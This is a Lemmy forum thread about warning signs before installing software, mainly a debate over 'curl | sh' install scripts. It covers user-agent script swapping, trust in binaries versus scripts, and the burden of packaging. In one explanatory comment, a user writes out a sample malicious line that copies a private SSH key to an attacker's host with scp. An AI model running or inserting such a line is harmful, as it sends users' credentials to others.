this post was submitted on 30 Apr 2026
89 points (100.0% liked)

Ask Lemmy

39371 readers
1125 users here now

A Fediverse community for open-ended, thought provoking questions


Rules: (interactive)


1) Be nice and; have funDoxxing, trolling, sealioning, racism, toxicity and dog-whistling are not welcomed in AskLemmy. Remember what your mother said: if you can't say something nice, don't say anything at all. In addition, the site-wide Lemmy.world terms of service also apply here. Please familiarize yourself with them


2) All posts must end with a '?'This is sort of like Jeopardy. Please phrase all post titles in the form of a proper question ending with ?


3) No spamPlease do not flood the community with nonsense. Actual suspected spammers will be banned on site. No astroturfing.


4) NSFW is okay, within reasonJust remember to tag posts with either a content warning or a [NSFW] tag. Overtly sexual posts are not allowed, please direct them to either !asklemmyafterdark@lemmy.world or !asklemmynsfw@lemmynsfw.com. NSFW comments should be restricted to posts tagged [NSFW].


5) This is not a support community.
It is not a place for 'how do I?', type questions. If you have any questions regarding the site itself or would like to report a community, please direct them to Lemmy.world Support or email info@lemmy.world. For other questions check our partnered communities list, or use the search function.


6) No US Politics.
Please don't post about current US Politics. If you need to do this, try !politicaldiscussion@lemmy.world or !askusa@discuss.online


Reminder: The terms of service apply here too.

Partnered Communities:

Tech Support

No Stupid Questions

You Should Know

Reddit

Jokes

Ask Ouija


Logo design credit goes to: tubbadu


founded 2 years ago
MODERATORS
 

Have you ever found a GitHub project or anything that seemed nice and tempting to install until you dug a bit deeper?

What are some red flags that should detur anyone from installing and running something?

you are viewing a single comment's thread
view the rest of the comments
[–] gera@feddit.nu 22 points 2 days ago* (last edited 2 days ago) (4 children)
  • curl | sh installation method
  • vomit-colored website, vomit-colored developer avatars, or more obvious: AGENTS.MD in the repo
  • opensource, but compiling yourself is "unsupported"/"not recommended"
  • opensource, but official website aggressively advertising their SAAS which makes it look like the software is actually paid product
[–] ZoteTheMighty@lemmy.zip 1 points 1 day ago

Back in the Python 2.7 days, curl | grep sh was the standard practice for installing the package manager, pip. Even better, the shell script actually had a binary blob somewhere in the middle. It was shell script up top, binary blob in the middle, and back to shell script at the bottom. Until Python 3.5ish, pip wasn't bundled with Python, so this was standard practice.

[–] iceberg314@slrpnk.net 2 points 2 days ago (5 children)

Noob here, what's wrong with curl | sh installs?

[–] Miaou@jlai.lu 6 points 1 day ago* (last edited 1 day ago)

The real answer is that user-agents can be used to show you one version in your browser and then serve you another one with curl.

I say "real" because all the idiots talking about "don't run scripts from the internet!!!!" probably forget they don't decompile every binary they run. E.g. the rustup installer (the tool for managing Rust toolchains) is by default a curl+bash one liner. Why would I worry about them serving me a wrong script when I'm any way about to run their binary blob?

If you have any doubt about the hosting service (which might or not be the same as the software author!) then avoid piping into bash, but then why would you run their code at all if you distrust them so much? Do you expect github to install a keylogger? Probably not. Some telemetry hook to know whose running the requested script? Possibly someday

[–] Escape13@slrpnk.net 2 points 1 day ago

Let’s say you curl bash something and it has ie ‘scp ~/.ssh/id_ed25519 badComputerGuy’ in it then you just uploaded your private key to the bad guys. And that’s why ssh keys should be password protected

[–] Nibodhika@lemmy.world 2 points 1 day ago

In THEORY they're bad because the script could do malicious things and you shouldn't blindly trust random people on the internet telling you what to execute.

In practice it's mostly fearmongering because you're likely trying to install a binary that could do malicious things anyways. "Mostly" because it is a bit less safe as one could MITM the script more easily or something, but not really by that much.

You shouldn't run curl | sh scripts some random person sends you, but running an official script prom an official source is no more dangerous than running a .Deb file from that same source.

[–] osanna@lemmy.vg 2 points 2 days ago* (last edited 2 days ago)

As others have said, you are boldly trusting that the script you’re downloading is safe. ALWAYS examine a script before you pipe to bash. Also, open the script in your browser, the copy paste j to your terminal. It’s entirely possible to change the script based on use agent to display differently when your check in your browser versus when you pipe to bash

[–] Saganaki@lemmy.zip 2 points 2 days ago

“Download this shell script from the web and execute it right away.”

Probably close to 80% of the words in the sentence are wrong.

[–] village604@adultswim.fan 4 points 2 days ago

It's annoying that the Proxmox helper scripts are all curl | sh based.

[–] sem@piefed.blahaj.zone 2 points 2 days ago (1 children)

Some mature projects still do curl .sh, like pivpn and pihole.

[–] GreenKnight23@lemmy.world 2 points 2 days ago (1 children)

which makes sense because they don't maintain packages on the dozens of different package manager repos.

IMO it's kind of bogus to knock a project for having a shell install file.

[–] aesthelete@lemmy.world 1 points 2 days ago* (last edited 1 day ago) (2 children)

Eh, I'd be more sympathetic if there weren't a dozen different alternatives to making this exclusively how people install your software.

It's a virus delivery system waiting to happen. Especially now when you have AI that can help you stand up an imposter site quickly and easily.

[–] calcopiritus@lemmy.world 1 points 1 day ago (1 children)

If it's not open source or you are not compiling it:

Why so much fear about the shell script but no fear from the executable?

If it's open source and you are compiling it:

If you don't fear the project because you (presumably) have read the source code and determined that it's fine, why fear a shell script that is most certainly simpler, and you can read it like the rest of the code?

[–] aesthelete@lemmy.world 1 points 1 day ago (1 children)

Why so much fear about the shell script but no fear from the executable?

Huh? Fear from both.

[–] calcopiritus@lemmy.world 1 points 1 day ago (1 children)

If you fear both, and curl | sh is a red flag. Binary blob is also a red flag, if you fear them both equally.

Has every software that runs in your computer been compiled by you?

[–] aesthelete@lemmy.world 1 points 15 hours ago* (last edited 15 hours ago)

No, but much of it comes from software repositories, which is exactly the point.

[–] GreenKnight23@lemmy.world 1 points 2 days ago (1 children)

it's not the impact to the user having dozens of choices.

it's the impact to the developer to having to maintain the packages for dozens of package repo admins that have each their own special requirements for packages that have to be followed. it's a huge pita that most companies don't even bother with and just run their own package repo.

IMO the user isn't blameless when using an install script. anyone who just blindly runs arbitrary code without reading it is a fool asking to be attacked.

[–] aesthelete@lemmy.world 2 points 1 day ago (1 children)

Exactly, it's a shift in responsibilities from the developers of a thing to the users of that thing.

As a grunt at work and a mid-tier "money haver" at best, I'm tired of having everything shift its costs onto me and it's a red flag that prevents me from installing and running a software package.

Everything around nowadays does this shift if they can get away with it.

I have to set limits on what I tolerate to achieve what gain or the world will leave me dead with a giant tire mark across my chest.

[–] GreenKnight23@lemmy.world 1 points 1 day ago (1 children)

as a foss dev, your problems aren't my problems.

[–] aesthelete@lemmy.world 0 points 1 day ago* (last edited 1 day ago) (1 children)

As a sporadic foss contributor and foss advocate, I ain't even installing your shit if the only install option is curl pipe to shell.

And I also do think it's a red flag exactly like the original poster was looking for.

[–] GreenKnight23@lemmy.world 1 points 1 day ago (1 children)

if you're dumb enough to pipe curl to bash you deserve everything you get.

rtfs

[–] aesthelete@lemmy.world 1 points 1 day ago* (last edited 1 day ago)

I hate Windows partially because you have to download a bunch of random executables. Making that same security hole into a one liner in bash and making that the only install supported is not an improvement in any way.